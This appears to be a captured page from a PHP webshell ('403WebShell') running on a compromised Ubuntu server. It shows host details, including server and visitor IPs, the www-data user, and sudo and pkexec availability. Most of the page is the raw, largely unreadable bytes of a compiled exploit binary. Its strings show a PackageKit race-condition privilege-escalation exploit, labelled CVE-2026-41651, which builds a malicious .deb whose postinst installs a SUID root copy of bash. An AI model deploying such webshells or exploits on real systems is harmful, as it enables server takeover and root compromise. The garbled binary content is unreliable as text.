Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.216.131
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /run/shm/dirtyfrag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /run/shm/dirtyfrag/cve-2026-41651
ELF>,@�c@8@ @@@HH���xx   mm@@@���L�\�\0�M�]�]���$$@K@K@K@@�K�K�K  S�td@K@K@K@@P�td0G0G0G||T�td�J�J�J��Q�tdR�td�L�\�\PPGNU^Fp-��D	L�<E�@��C&/lib64/ld-linux-x86-64.so.2<<=)�9�_Q���~K�f�2 �(:7@�9h$N^ ��z ��n"����}<����^?��%�����+�aW�ag_freeg_main_loop_quit__gmon_start__g_object_unrefg_strdupg_clear_errorg_main_loop_new_ITM_deregisterTMCloneTable_ITM_registerTMCloneTableg_variant_getg_variant_unrefg_error_freeg_main_loop_rung_variant_newg_dbus_connection_signal_subscribeg_dbus_connection_signal_unsubscribeg_dbus_connection_callg_bus_get_syncg_dbus_connection_flush_syncg_dbus_connection_call_syncg_timeout_add_secondsg_variant_type_checked_snprintfputsperrorsetsidclock_gettime__stack_chk_failstatunlinkfflushfopenflockforkstrlenusleepdup2getpidstdoutisatty_exit__libc_start_mainexecvstderrfprintfttyname__cxa_finalizefclosememsetioctlfputcwaitpidaccessmemcpyfwritegeteuidlibgio-2.0.so.0libgobject-2.0.so.0libglib-2.0.so.0libc.so.6GLIBC_2.14GLIBC_2.33GLIBC_2.34GLIBC_2.4GLIBC_2.17GLIBC_2.2.5�����������ii
���&ui	1�\-�\�,�\�B�\�B�\�B�\�B�\�B�\�B�\�B�\�B]	C]C]C]!C ])C(]2C0]>C8]HC@]QCH]XCP]`CX]iC`]pCh]�Cp]�Cx]�C�]�C�]�B�]�A�a�a�_�_�_�_"�_2�a=�a<```` `(`0`8`@`	H`
P`X```
h`p`x`�`�`�`�`�`�`�`�`�`�`�`�`�` �`!�`#�`$a%a&a'a( a)(a*0a+8a,@a-Ha.Pa/Xa0`a1ha3pa4xa5�a6�a7�a8�a9�a:�a;��H��H��?H��t��H����5�?�%�?@�%�?h����%�?h�����%�?h����%�?h����%�?h����%�?h����%�?h����%�?h�p����%�?h�`����%�?h	�P����%z?h
�@����%r?h�0����%j?h� ����%b?h
�����%Z?h�����%R?h���%J?h����%B?h�����%:?h����%2?h����%*?h����%"?h����%?h����%?h�p����%
?h�`����%?h�P����%�>h�@����%�>h�0����%�>h� ����%�>h�����%�>h�����%�>h���%�>h ����%�>h!�����%�>h"����%�>h#����%�>h$����%�>h%����%�>h&����%�>h'�p����%�>h(�`����%�>h)�P����%z>h*�@����%r>h+�0����%j>h,� ����%b>h-�����%Z>h.�����%R>h/���%J>h0����%B>h1�����%:>h2����%2>h3����%*>h4����%">h5����~�9H�1�H�t$pfo\$ fHn�H�=�H��$�fl�)\$p)�$��z���H�=��������@AWAVAUATUSH��HdH�<%(H��$8H�=? ���H�=� ����H�=' �����u�������1�H�=��O������|�2���L��$0H���@��L��1�L�|$���H��$p����H���@H��1�����H�
�1�H�� ��H��$����H�=� �*���1�H�5�L����H�5�H��H��$��1�L��������#1�H��������H�t$H�=�1��	���H��H�=�1����H�T$81��H�D$8����I��H���kH�D$PH�=m�m���H��E1�L��H�T$XH�
�RH��I��L�HjH�Qj�jP����H��0H��H���<H�D$`H��H�L$H�5ZH��H�D$1��C���H�|$`�9���H�|$I���\���M����L��H�=&1��"���f�1�1�)D$@�p���E1�M��L��H�D$@H�
H��jH�5,H�D$HPH��Pj���H�� E1�M��A��H�BjL��jH�
�H�MPH�5�j�^���E1�M��L��D$8H�� H��H�
�jH�H�5�jPj�%����H�=��D$@H�� 1��J���H�L$L��L���e1�H�=�1��%���1�H��L��L���EH�T$1�1�L��H�L$`�_������4H�=����L����~���H�T$@�H�5��h���H�|$@�n���H�t$��O���H�D$hH+D$X�@BH�H�t$`H+t$PH�=�H��Hi��H�1��y���L��D���.����t$L���"����t$ L������L��L�5/�'���L��L��$�����H�=H����9f�L��H�=`����u��$���������c�������i�������=���w�1�H�=*1�����A�Ņ�yx1�H�=��������L�-nL�=o1�H������M��L����H�k�����ID�H��H�=�1�H��#���_���H�=�8����.���fD���������tHD�����1�H�=q�����uHL�-�L�=��o���L�-�L�=��Y���DD�����D���+�������L�-�L�=��'���H�D$`H���BH�PH�=8H�5�1��<���H�|$������H�|$���H�����H�=�/����H��$8dH+%(��H��H��[]A\A]A^A_ÉD$H��H�|$�~
g3fHn�fl�)L$ �4���H���,���k�dH�=r1�����f����L$����~H�t$1҉ljL$�����L$H�=C7�L$��1��k����L$���E���1��(���H�������L$�����$���H�t$1҉ljL$�|����L$�	���H�/���H�D$8H�=�6H�5yH�P1����H�|$8�������H�D$PH�=�6H�5H�P1����H�|$P�b������H�=|��<���H��tH�߾1�����Å�y0fol$ 1�H�t$pH�=H��$�)l$p��������ǾT1�����1��������z����n��~��������{���H�=L�_H�=G�S���f.�@��1�I��^H��H���PTE1�1�H�=�����3�f.�H�=y5H�r5H9�tH�V3H��t	�����H�=I5H�5B5H)�H��H��?H��H�H�tH�3H��t��fD�����=5u3UH�=�2H��t
H�=�4��2�c�����4]�f.��@ff.����g���f.�f.�SH�
�4H����H�=����H����1�[�H��H�5�L��dH�%(H�D$1�H�T$���t$H����w
��H�//H��H�=}1���H�=4����H�D$dH+%(uH������H��(L��H�5PdH�%(H�D$1�H�L$H�T$�C�H�T$�t$1�H�=%�<�H�=�3�`���H�D$dH+%(uH��(��&�fDSL��H�5�H��dH�%(H�D$1�H�L$H��H�\$ ���T$�4$1�H�=G���$�CH�;�C�E�H�D$dH+%(uH��[���f.�AW1�E��AVE��AUI��H�vATI��UH��SH��H�H��H��H�G�HLJ�H��H)������H�H��H��d�V�H�}dD��1�H���<�H�}l1ɾH��1��#�H�}t1ɾH��1��
�D��1�H��H�}|���1����H����H����1����00f��D���ƅrf��H�        H���Džustaf��f��H���H��f��oH��fo�fh�fo�f`�fi�fa�f��fo�fi�fa�f��f��f��H9�u�fo�H��1�fs�f��fo�fs�f��f~��� f���M��t?M��$�I�����M��tL��L��H����M9�sL��J��%1�L)���M��H��I��$[]A\A]A^A_��AV�    AUfn�I��1�ATH�fI��fp�USH��pdH�%(H�\$hH��H��H��)D$@)D$ )D$0D$L�D$\�=�fo$1�)D$ ��H��
H��H��1���H�$H��H��  ��D$<0   H�D$0�D$f�T$FH���D$8�  f�D$@H�100644  H�D$H1��D$B0   ��H�$�`
�<f�L$Z�L��H�|$ H�D$P�D$f�D$X���H��L��L�����uH�D$hdH+%(uH��p[]A\A]A^�L��
������f�H��H��H�=b/1�H�5����f.�UfHn�H��H��SH��H�=�
H��(dH�%(H�D$1�H��)$��jH��H��jI��L��
H�
jH�5�
j�jj�:�H��0H�D$dH+%(uH��([]��Z�f.�����ATI��UH��SH��f�B���f�rH���B
f�B
H��H��H�}���L�M��tXJ�<#�����H�5|4fDff.�ff.��H��1����3�H9�u��D�`H���P�H)�[]A\ú������f�ff.�AVAUI��1�ATI��USH�	4H��H��dH�,%(H��$H�պ�q�H��3fv�fn�fofr�H��fp�@foȺ�fo�fr�f�fo�fr�f��fr�f��fr�f��fr�f��fo�fr�
f��fr�fo�f��fr�f�˃�u�)H��f��H9�u�L��H�aH��1����A�51�1�A��H�5�H������H��I�����J�<+A�0A��H��H��H�5����I�H��t-H����J�<+A�0A��H��H��H�5z�|���I�I��H����vH�=i���H��H�s1������H�=]-I��1�H�Q,�H�H�=G-�r���H�5L��H����H��H����H����H�=���H�H��H�5��L��H��0H��H�5�
����H��H��H��+H�5�
���H���V�H��$dH+%(uH��[]A\A]A^�H�=�
�������H��H���[-] Timed out
?(u)[*] Status: %u (%s)
(u&s)[!] PK error %u: %s
(uu)%s%07o%011o%06o%-16s%-12lu%-10zu[-] %s
(t^as)InstallFilesorg.freedesktop.PackageKit././control./postinstwbgzip_store failedfopen .deb!<arch>
2.0
debian-binarycontrol.tar.gzdata.tar.gznot yetfreeHELDFOUNDexistsGONERun as unprivileged user/etc/debian_version/tmp/.pk-dummy-%d.deb/tmp/.pk-payload-%d.deb/tmp/.suid_bashpk-poc-dummypk-poc-payloaddeb build failed[+] dummy   : %s
[+] payload : %s
(o)CreateTransaction/org/freedesktop/PackageKit[-] CreateTransaction: %s
(&o)[*] Transaction : %s
FinishedErrorCodeStatusChanged[!] flush: %s
[*] Loop ran for %ld ms
/var/lib/dpkg/lock-cidexecv-pUNKNOWNWAITSETUPRUNNINGQUERYINFOREMOVEREFRESH_CACHEDOWNLOADINSTALLUPDATECLEANUPOBSOLETEDEP_RESOLVESIG_CHECKROLLBACKCOMMITREQUESTFINISHEDCANCELWAITING_FOR_LOCKSCAN_PROCESS_LISTCHECK_EXECUTABLE_FILESCHECK_LIBRARIESCOPY_FILES[*] Finished (exit=%u, %u ms)
org.freedesktop.PackageKit.TransactionPackage: %s
Version: 1.0
Architecture: all
Maintainer: PoC
Description: PoC
═══════════════════════════════════════════════════ CVE-2026-41651 — PackageKit TOCTOU LPEDebian/Ubuntu required for built-in .deb builder#!/bin/sh
install -m 4755 /bin/bash %s
[*] Building packages (pure C)...[*] Step 1 : InstallFiles(SIMULATE=0x%llx, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x%llx, payload) [async]
[*] Waiting for dispatch (30 s max)...[*] Polling for payload (120 s max)...[*] t+%ds: payload=%s dpkg_lock=%s suid=%s

[+] SUCCESS — SUID bash at t+%dms
[-] Exploit failed — SUID bash never appeared.;|����p��X���������� �����,��P��� ��P����8��hzRx�@�&D$48��pFJw�?;*3$"\�-A�kx$�yD o
A���jD0`
A ���vA�N `
AAH�8�B�G�E �L(�D0�D8�R@�8I0A(B BBBD �gB�G�K �P(�A0�D�!
0A(A BBBAh4�&D<|P��A�L�N@^HHPSXI`BhBpI@T
AAA,����G�D�D ��
ABAD� ��B�B�G �D(�A0�Q�c
0A(A BBBA�4��B�B�B �B(�A0�A8�G���S�O�I�B�A�I���M�H�B�I�R�E�O�I�V�P�P�A�B�Y�
8C0A(B BBBA���\����������$0T������
T������`$�����&0GNU���	�GNU-�,�B�B�B�B�B�B�B�B	CCC!C)C2C>CHCQCXC`CiCpC�C�C�C�C�B�A���� 
`6�\�\���o��	�
=�_h�
x	���o���o�
���o�o����o�]6 F V f v � � � � � � � � !!&!6!F!V!f!v!�!�!�!�!�!�!�!�!""&"6"F"V"f"v"�"�"�"�"�"�"�"�"##&#6#F#V#f#v#�#�aGCC: (GNU) 15.2.1 20260209�	�K �$ --/P-y9�\�=�-jF@.vR�.S�0g\P2&`�2�w3���g��3���g��f��b��a��#\���@,�p,��,�a�\6-B�\a�k�J�y0G��_��]� �a��{�����,&�-?Sd}� �����
`6��/BR n�@��� ��a��"&K�aWi|��a���a����k��	�a)<M`s�az������%�a8I$N
 TScrt1.o__abi_tagcve-2026-41651.ccb_timeoutcb_statust.4cb_errorcb_finishedtar_entrydiepk_install_files_asyncgzip_store.part.0crc_tabbuild_debtarbuf.3gzbuf.2empty_tar.1data_gz.0main.coldcrtbeginS.oderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrycrtendS.o__FRAME_END____GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE__DYNAMICg_freedup2@GLIBC_2.2.5execv@GLIBC_2.2.5memset@GLIBC_2.2.5snprintf@GLIBC_2.2.5setsid@GLIBC_2.2.5g_dbus_connection_flush_syncioctl@GLIBC_2.2.5ttyname@GLIBC_2.2.5g_main_loop_quitclock_gettime@GLIBC_2.17isatty@GLIBC_2.2.5__gmon_start__puts@GLIBC_2.2.5g_object_unrefg_strdupg_clear_error_finifopen@GLIBC_2.2.5unlink@GLIBC_2.2.5_exit@GLIBC_2.2.5g_dbus_connection_call_syncgetpid@GLIBC_2.2.5g_main_loop_new_ITM_deregisterTMCloneTablegeteuid@GLIBC_2.2.5_IO_stdin_usedfputc@GLIBC_2.2.5strlen@GLIBC_2.2.5_ITM_registerTMCloneTable__data_startg_timeout_add_secondsg_variant_type_checked___cxa_finalize@GLIBC_2.2.5g_dbus_connection_signal_unsubscribe__TMC_END__flock@GLIBC_2.2.5usleep@GLIBC_2.2.5g_variant_get__dso_handlewaitpid@GLIBC_2.2.5__bss_start__stack_chk_fail@GLIBC_2.4g_variant_unref_endfclose@GLIBC_2.2.5g_bus_get_syncstderr@GLIBC_2.2.5g_error_freeaccess@GLIBC_2.2.5fork@GLIBC_2.2.5fwrite@GLIBC_2.2.5perror@GLIBC_2.2.5_edatafprintf@GLIBC_2.2.5__libc_start_main@GLIBC_2.34g_main_loop_rung_dbus_connection_signal_subscribeg_dbus_connection_callstat@GLIBC_2.33memcpy@GLIBC_2.14g_variant_newstdout@GLIBC_2.2.5time@GLIBC_2.2.5main_initfflush@GLIBC_2.2.5.symtab.strtab.shstrtab.note.gnu.build-id.interp.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.sframe.note.gnu.property.note.ABI-tag.init_array.fini_array.data.rel.ro.dynamic.got.got.plt.data.bss.comment��$.��6���o��(@���H�	�	=P���o��|]���o�
�
pl�
�
xvBhh�  {    p��#�#� �`6`6
�@@0�0G0G|��G�G���o�J�Jp�@K@K@��K�K ��\�L��\�L��\�L� �]�M	�_�O(�_�O��a�Q�a�Q 
 "0�Q�Q 
#	\ggb+

Youez - 2016 - github.com/yon3zu
LinuXploit